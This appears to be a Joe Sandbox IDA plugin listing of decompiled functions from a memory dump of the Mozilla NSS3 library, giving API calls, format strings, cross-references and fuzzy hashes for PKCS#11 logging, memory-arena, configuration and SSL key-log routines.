pulPlaintextPartLen = 0x%p, xrefs: 6CC8AC2B
pPlaintextPart = 0x%p, xrefs: 6CC8AC12
ulCiphertextPartLen = %d, xrefs: 6CC8ABF7
ulParameterLen = 0x%p, xrefs: 6CC8ABC1
pCiphertextPart = 0x%p, xrefs: 6CC8ABDC
C_DecryptMessageNext, xrefs: 6CC8AB31
(CK_INVALID_HANDLE), xrefs: 6CC8AB6C
pParameter = 0x%p, xrefs: 6CC8ABA6
hSession = 0x%x, xrefs: 6CC8AB4E, 6CC8AB5E

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pCiphertextPart = 0x%p$ pParameter = 0x%p$ pPlaintextPart = 0x%p$ pulPlaintextPartLen = 0x%p$ ulCiphertextPartLen = %d$ ulParameterLen = 0x%p$ (CK_INVALID_HANDLE)$C_DecryptMessageNext
API String ID: 1003633598-206538543
Opcode ID: 8141beac83bd33714594d1cffa2339df72f1cfc18e5698a68ef78d9ffc06c302
Instruction ID: 903ad653af46c9983ed7a65def72954f5930d5c65e2680f81c793533a06f1eb1
Opcode Fuzzy Hash: 8141beac83bd33714594d1cffa2339df72f1cfc18e5698a68ef78d9ffc06c302
Instruction Fuzzy Hash: A441C972602104EFEB00CF55DD48E9A3FB6BB9675DF084016F6086BAB1E731985CCBA5

Function 6CC8AF20 Relevance: 33.4, APIs: 10, Strings: 9, Instructions: 126COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SignMessage), ref: 6CC8AF46
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CC8AF74
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC8AF83

Part of subcall function 6CD6D930: PL_strncpyz.NSS3(?,?,?), ref: 6CD6D963

PR_LogPrint.NSS3(?,00000000), ref: 6CC8AF99
PR_LogPrint.NSS3( pParameter = 0x%p,?), ref: 6CC8AFBE
PR_LogPrint.NSS3( ulParameterLen = 0x%p,?), ref: 6CC8AFD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6CC8AFF4
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6CC8B00F
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6CC8B028
PR_LogPrint.NSS3( pulSignatureLen = 0x%p,?), ref: 6CC8B041

Strings

pData = 0x%p, xrefs: 6CC8AFEF
ulParameterLen = 0x%p, xrefs: 6CC8AFD4
(CK_INVALID_HANDLE), xrefs: 6CC8AF7C
pParameter = 0x%p, xrefs: 6CC8AFB9
pSignature = 0x%p, xrefs: 6CC8B023
ulDataLen = %d, xrefs: 6CC8B00A
hSession = 0x%x, xrefs: 6CC8AF5E, 6CC8AF6E
C_SignMessage, xrefs: 6CC8AF41
pulSignatureLen = 0x%p, xrefs: 6CC8B03C

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pData = 0x%p$ pParameter = 0x%p$ pSignature = 0x%p$ pulSignatureLen = 0x%p$ ulDataLen = %d$ ulParameterLen = 0x%p$ (CK_INVALID_HANDLE)$C_SignMessage
API String ID: 1003633598-1612141141
Opcode ID: 894802b0b828b725ee899b7190244ce15165211ca1cdb8b570ea5c9f1ce0af74
Instruction ID: 3e3949f0e691db4eacbd6b5080ef3ae6f7e6faa924156824ddd6892d39e7e940
Opcode Fuzzy Hash: 894802b0b828b725ee899b7190244ce15165211ca1cdb8b570ea5c9f1ce0af74
Instruction Fuzzy Hash: 9E41C7B6602144EFEB10DF55DD48F8B7BB6AB4234DF084025F6086BA61E730985DCBB9

Function 6CCBC980 Relevance: 33.3, APIs: 22, Instructions: 298memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400,6CCBAEB0,?,00000004,00000001,?,00000000,?,?), ref: 6CCBC98E

Part of subcall function 6CCB0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CC587ED,00000800,6CC4EF74,00000000), ref: 6CCB1000
Part of subcall function 6CCB0FF0: PR_NewLock.NSS3(?,00000800,6CC4EF74,00000000), ref: 6CCB1016
Part of subcall function 6CCB0FF0: PL_InitArenaPool.NSS3(00000000,security,6CC587ED,00000008,?,00000800,6CC4EF74,00000000), ref: 6CCB102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,6CCBAEB0,?,00000004,00000001,?,00000000,?,?), ref: 6CCBC9A1

Part of subcall function 6CCB10C0: TlsGetValue.KERNEL32(?,6CC58802,00000000,00000008,?,6CC4EF74,00000000), ref: 6CCB10F3
Part of subcall function 6CCB10C0: EnterCriticalSection.KERNEL32(?,?,6CC58802,00000000,00000008,?,6CC4EF74,00000000), ref: 6CCB110C
Part of subcall function 6CCB10C0: PL_ArenaAllocate.NSS3(?,?,?,6CC58802,00000000,00000008,?,6CC4EF74,00000000), ref: 6CCB1141
Part of subcall function 6CCB10C0: PR_Unlock.NSS3(?,?,?,6CC58802,00000000,00000008,?,6CC4EF74,00000000), ref: 6CCB1182
Part of subcall function 6CCB10C0: TlsGetValue.KERNEL32(?,6CC58802,00000000,00000008,?,6CC4EF74,00000000), ref: 6CCB119C

SECOID_FindOIDByTag_Util.NSS3(0000001A,?,?,?,6CCBAEB0,?,00000004,00000001,?,00000000,?,?), ref: 6CCBC9D3

Part of subcall function 6CCB0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CCB08B4

SECITEM_CopyItem_Util.NSS3(00000000,-00000018,00000000,?,?,?,?,6CCBAEB0,?,00000004,00000001,?,00000000,?,?), ref: 6CCBC9E6

Part of subcall function 6CCAFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CCA8D2D,?,00000000,?), ref: 6CCAFB85
Part of subcall function 6CCAFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CCAFBB1

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,6CCBAEB0,?,00000004,00000001,?,00000000,?,?), ref: 6CCBC9F5
PORT_ArenaAlloc_Util.NSS3(00000000,00000050,?,?,?,?,?,?,?,6CCBAEB0,?,00000004,00000001,?,00000000,?), ref: 6CCBCA0A
SEC_ASN1EncodeInteger_Util.NSS3(00000000,00000000,00000001,?,?,?,?,?,?,?,?,?,6CCBAEB0,?,00000004,00000001), ref: 6CCBCA33
SECOID_FindOIDByTag_Util.NSS3(00000019,?,?,?,?,?,?,?,?,?,?,?,?,6CCBAEB0,?,00000004), ref: 6CCBCA4D
SECITEM_CopyItem_Util.NSS3(00000001,?,00000000), ref: 6CCBCA60
SEC_PKCS7DestroyContentInfo.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6CCBAEB0,?,00000004), ref: 6CCBCA6D
PR_Now.NSS3 ref: 6CCBCAD6
PORT_ArenaMark_Util.NSS3(00000000), ref: 6CCBCB23
PORT_ArenaAlloc_Util.NSS3(00000000,0000005C), ref: 6CCBCB32
SEC_ASN1EncodeInteger_Util.NSS3(00000000,00000000,00000001), ref: 6CCBCB64
SECOID_SetAlgorithmID_Util.NSS3(00000000,?,00000001,00000000), ref: 6CCBCBBB
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6CCBCBD0
PORT_ArenaAlloc_Util.NSS3(00000000,00000018), ref: 6CCBCBF6
PORT_ArenaAlloc_Util.NSS3(00000000,00000008), ref: 6CCBCC18
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000000,00000001,00000000), ref: 6CCBCC39
PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CCBCC5B

Part of subcall function 6CCB10C0: PL_ArenaAllocate.NSS3(?,6CC58802,00000000,00000008,?,6CC4EF74,00000000), ref: 6CCB116E

PORT_ArenaAlloc_Util.NSS3(00000000,00000008), ref: 6CCBCC69
SECITEM_CopyItem_Util.NSS3(00000000,?,00000000), ref: 6CCBCC89

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$CopyItem_$AlgorithmAllocateArena_EncodeFindInteger_Tag_Value$ContentCriticalDestroyEnterErrorFreeInfoInitLockMark_PoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1766420342-0
Opcode ID: 4437fffb1de6a3097fb817f6a94f1fbebd16d6232985fe253b8a4ea731a18cfe
Instruction ID: 4201756edda01a277d73568f802b93f73ed58e3b6c48b5a0a55b0a94933145eb
Opcode Fuzzy Hash: 4437fffb1de6a3097fb817f6a94f1fbebd16d6232985fe253b8a4ea731a18cfe
Instruction Fuzzy Hash: 96B18EB5E002469FEB00DFA5DD81BAA77B4BF28348F104125E804B7751FB71E9A4CBA1

Function 6CC96CD0 Relevance: 30.3, APIs: 20, Instructions: 298stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC96910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6CC96943
Part of subcall function 6CC96910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6CC96957
Part of subcall function 6CC96910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6CC96972
Part of subcall function 6CC96910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6CC96983
Part of subcall function 6CC96910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6CC969AA
Part of subcall function 6CC96910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6CC969BE
Part of subcall function 6CC96910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6CC969D2
Part of subcall function 6CC96910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6CC969DF
Part of subcall function 6CC96910: NSSUTIL_ArgStrip.NSS3(?), ref: 6CC96A5B

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CC96D8C
free.MOZGLUE(00000000), ref: 6CC96DC5
free.MOZGLUE(?), ref: 6CC96DD6
free.MOZGLUE(?), ref: 6CC96DE7
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CC96E1F
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CC96E4B
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CC96E72
free.MOZGLUE(?), ref: 6CC96EA7
free.MOZGLUE(?), ref: 6CC96EC4
free.MOZGLUE(?), ref: 6CC96ED5
free.MOZGLUE(00000000), ref: 6CC96EE3
free.MOZGLUE(?), ref: 6CC96EF4
free.MOZGLUE(?), ref: 6CC96F08
free.MOZGLUE(00000000), ref: 6CC96F35
free.MOZGLUE(?), ref: 6CC96F44
free.MOZGLUE(?), ref: 6CC96F5B
free.MOZGLUE(00000000), ref: 6CC96F65

Part of subcall function 6CC96C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6CC9781D,00000000,6CC8BE2C,?,6CC96B1D,?,?,?,?,00000000,00000000,6CC9781D), ref: 6CC96C40
Part of subcall function 6CC96C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6CC9781D,?,6CC8BE2C,?), ref: 6CC96C58
Part of subcall function 6CC96C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6CC9781D), ref: 6CC96C6F
Part of subcall function 6CC96C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6CC96C84
Part of subcall function 6CC96C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6CC96C96
Part of subcall function 6CC96C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6CC96CAA

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CC96F90
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CC96FC5
PK11_GetInternalKeySlot.NSS3 ref: 6CC96FF4

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: free$strcmp$strncmp$FlagL_strncasecmp$Strip$InternalK11_ParameterSecureSkipSlot
String ID:
API String ID: 1304971872-0
Opcode ID: 45fdf98c0d5364489b8a32165e7f9ff1f0548241f7ec76f91ca001af8502b174
Instruction ID: 18c62b3256b8840902c3e1017b048b52d6049ee863443aca1f4f505bae24b087
Opcode Fuzzy Hash: 45fdf98c0d5364489b8a32165e7f9ff1f0548241f7ec76f91ca001af8502b174
Instruction Fuzzy Hash: DBB16FB1E016099FEF40DBA5D884B9EBBB8BF05358F140025E815E7A91F731E914CBE1

Function 6CC94C20 Relevance: 30.3, APIs: 20, Instructions: 290memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CC94C4C
EnterCriticalSection.KERNEL32(?), ref: 6CC94C60
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CC94CA1
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6CC94CBE
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6CC94CD2
realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC94D3A
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC94D4F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CC94DB7

Part of subcall function 6CCFDD70: TlsGetValue.KERNEL32 ref: 6CCFDD8C
Part of subcall function 6CCFDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CCFDDB4

Part of subcall function 6CC407A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CBD204A), ref: 6CC407AD
Part of subcall function 6CC407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CBD204A), ref: 6CC407CD
Part of subcall function 6CC407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CBD204A), ref: 6CC407D6
Part of subcall function 6CC407A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CBD204A), ref: 6CC407E4
Part of subcall function 6CC407A0: TlsSetValue.KERNEL32(00000000,?,6CBD204A), ref: 6CC40864
Part of subcall function 6CC407A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CC40880
Part of subcall function 6CC407A0: TlsSetValue.KERNEL32(00000000,?,?,6CBD204A), ref: 6CC408CB
Part of subcall function 6CC407A0: TlsGetValue.KERNEL32(?,?,6CBD204A), ref: 6CC408D7
Part of subcall function 6CC407A0: TlsGetValue.KERNEL32(?,?,6CBD204A), ref: 6CC408FB

TlsGetValue.KERNEL32 ref: 6CC94DD7
EnterCriticalSection.KERNEL32(?), ref: 6CC94DEC
PR_Unlock.NSS3(?), ref: 6CC94E1B
PR_SetError.NSS3(00000000,00000000), ref: 6CC94E2F
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC94E5A
PR_SetError.NSS3(00000000,00000000), ref: 6CC94E71
free.MOZGLUE(00000000), ref: 6CC94E7A
PR_Unlock.NSS3(?), ref: 6CC94EA2
TlsGetValue.KERNEL32 ref: 6CC94EC1
EnterCriticalSection.KERNEL32(?), ref: 6CC94ED6
PR_Unlock.NSS3(?), ref: 6CC94F01
free.MOZGLUE(00000000), ref: 6CC94F2A

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$Error$callocfree$Alloc_LeaveUtilrealloc
String ID:
API String ID: 759471828-0
Opcode ID: b01f394d3ceae462d7a2b86b671a7bfa753b05630f1ca75e068b2a60f5af57cd
Instruction ID: 113219edfc4b6d75ab475d4f77c405e2f8d52264524cddc8c0cfb17a2f2ce8e5
Opcode Fuzzy Hash: b01f394d3ceae462d7a2b86b671a7bfa753b05630f1ca75e068b2a60f5af57cd
Instruction Fuzzy Hash: 11B1F4B5A00206DFEB00DF68D884BAA77B8BF09318F044168ED2597B51F735E965CBA1

Function 6CCE6E90 Relevance: 30.1, APIs: 11, Strings: 6, Instructions: 305fileCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(SSLKEYLOGFILE,?,6CCE6BF7), ref: 6CCE6EB6

Part of subcall function 6CC41240: TlsGetValue.KERNEL32(00000040,?,6CC4116C,NSPR_LOG_MODULES), ref: 6CC41267
Part of subcall function 6CC41240: EnterCriticalSection.KERNEL32(?,?,?,6CC4116C,NSPR_LOG_MODULES), ref: 6CC4127C
Part of subcall function 6CC41240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CC4116C,NSPR_LOG_MODULES), ref: 6CC41291
Part of subcall function 6CC41240: PR_Unlock.NSS3(?,?,?,?,6CC4116C,NSPR_LOG_MODULES), ref: 6CC412A0

fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,6CD8FC0A,6CCE6BF7), ref: 6CCE6ECD
ftell.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CCE6EE0
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(# SSL/TLS secrets log file, generated by NSS,0000002D,00000001), ref: 6CCE6EFC
PR_NewLock.NSS3 ref: 6CCE6F04
fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CCE6F18
PR_GetEnvSecure.NSS3(SSLFORCELOCKS,6CCE6BF7), ref: 6CCE6F30
PR_GetEnvSecure.NSS3(NSS_SSL_ENABLE_RENEGOTIATION,?,6CCE6BF7), ref: 6CCE6F54
PR_GetEnvSecure.NSS3(NSS_SSL_REQUIRE_SAFE_NEGOTIATION,?,?,6CCE6BF7), ref: 6CCE6FE0
PR_GetEnvSecure.NSS3(NSS_SSL_CBC_RANDOM_IV,?,?,?,6CCE6BF7), ref: 6CCE6FFD

Strings

NSS_SSL_REQUIRE_SAFE_NEGOTIATION, xrefs: 6CCE6FDB
NSS_SSL_ENABLE_RENEGOTIATION, xrefs: 6CCE6F4F
# SSL/TLS secrets log file, generated by NSS, xrefs: 6CCE6EF7
SSLKEYLOGFILE, xrefs: 6CCE6EB1
NSS_SSL_CBC_RANDOM_IV, xrefs: 6CCE6FF8
SSLFORCELOCKS, xrefs: 6CCE6F2B

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Secure$CriticalEnterLockSectionUnlockValuefclosefopenftellfwritegetenv
String ID: # SSL/TLS secrets log file, generated by NSS$NSS_SSL_CBC_RANDOM_IV$NSS_SSL_ENABLE_RENEGOTIATION$NSS_SSL_REQUIRE_SAFE_NEGOTIATION$SSLFORCELOCKS$SSLKEYLOGFILE
API String ID: 412497378-2352201381
Opcode ID: 2f7ce6cef5a3259c046633934e3a96807deabafdb2e91ba62d766cea11a1fb29
Instruction ID: 62f4a211e6bea4cb4e2b84199729f139954c6ea6263c7eadad2dcba0be0e9dcb
Opcode Fuzzy Hash: 2f7ce6cef5a3259c046633934e3a96807deabafdb2e91ba62d766cea11a1fb29
Instruction Fuzzy Hash: BCA126F3A65D85C7F750463DCD0138832AABB8B369F188365EA31C6ED6FB35A4409345

Function 6CC86D60 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Digest), ref: 6CC86D86
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CC86DB4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC86DC3

Part of subcall function 6CD6D930: PL_strncpyz.NSS3(?,?,?), ref: 6CD6D963

PR_LogPrint.NSS3(?,00000000), ref: 6CC86DD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6CC86DFA
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6CC86E13
PR_LogPrint.NSS3( pDigest = 0x%p,?), ref: 6CC86E2C
PR_LogPrint.NSS3( pulDigestLen = 0x%p,?), ref: 6CC86E47
PR_LogPrint.NSS3( *pulDigestLen = 0x%x,?), ref: 6CC86EB9

Strings

pData = 0x%p, xrefs: 6CC86DF5
(CK_INVALID_HANDLE), xrefs: 6CC86DBC
pDigest = 0x%p, xrefs: 6CC86E27
pulDigestLen = 0x%p, xrefs: 6CC86E42
ulDataLen = %d, xrefs: 6CC86E0E
hSession = 0x%x, xrefs: 6CC86D9E, 6CC86DAE
C_Digest, xrefs: 6CC86D81
*pulDigestLen = 0x%x, xrefs: 6CC86EB4

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulDigestLen = 0x%x$ hSession = 0x%x$ pData = 0x%p$ pDigest = 0x%p$ pulDigestLen = 0x%p$ ulDataLen = %d$ (CK_INVALID_HANDLE)$C_Digest
API String ID: 1003633598-2270781106
Opcode ID: fd969cf141c6320c303416757231774ba43ef85e03c82bc233a633de5badd42d
Instruction ID: e941dfec8cd5d5cc8489b38e0d25f80a595d1fc14dd657570e163d7310de7289
Opcode Fuzzy Hash: fd969cf141c6320c303416757231774ba43ef85e03c82bc233a633de5badd42d
Instruction Fuzzy Hash: A541B9B5612504EFEB00DF55DD48F4B3FB6AB4275DF084066E509ABA61EB30A80CCBB5

Function 6CC88820 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DecryptVerifyUpdate), ref: 6CC88846
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CC88874
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC88883

Part of subcall function 6CD6D930: PL_strncpyz.NSS3(?,?,?), ref: 6CD6D963

PR_LogPrint.NSS3(?,00000000), ref: 6CC88899
PR_LogPrint.NSS3( pEncryptedPart = 0x%p,?), ref: 6CC888BA
PR_LogPrint.NSS3( ulEncryptedPartLen = %d,?), ref: 6CC888D3
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6CC888EC
PR_LogPrint.NSS3( pulPartLen = 0x%p,?), ref: 6CC88907
PR_LogPrint.NSS3( *pulPartLen = 0x%x,?), ref: 6CC88979

Strings

pulPartLen = 0x%p, xrefs: 6CC88902
ulEncryptedPartLen = %d, xrefs: 6CC888CE
(CK_INVALID_HANDLE), xrefs: 6CC8887C
pPart = 0x%p, xrefs: 6CC888E7
C_DecryptVerifyUpdate, xrefs: 6CC88841
hSession = 0x%x, xrefs: 6CC8885E, 6CC8886E
*pulPartLen = 0x%x, xrefs: 6CC88974
pEncryptedPart = 0x%p, xrefs: 6CC888B5

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulPartLen = 0x%x$ hSession = 0x%x$ pEncryptedPart = 0x%p$ pPart = 0x%p$ pulPartLen = 0x%p$ ulEncryptedPartLen = %d$ (CK_INVALID_HANDLE)$C_DecryptVerifyUpdate
API String ID: 1003633598-2764998763
Opcode ID: 5a59ba7390b24160de05c13c570f81012a25e6d00d889a1b76c87c4d548ae466
Instruction ID: 622d838191bf7ac8a5dd834728dd457f2ca79ec63370834443a158f98f1df760
Opcode Fuzzy Hash: 5a59ba7390b24160de05c13c570f81012a25e6d00d889a1b76c87c4d548ae466
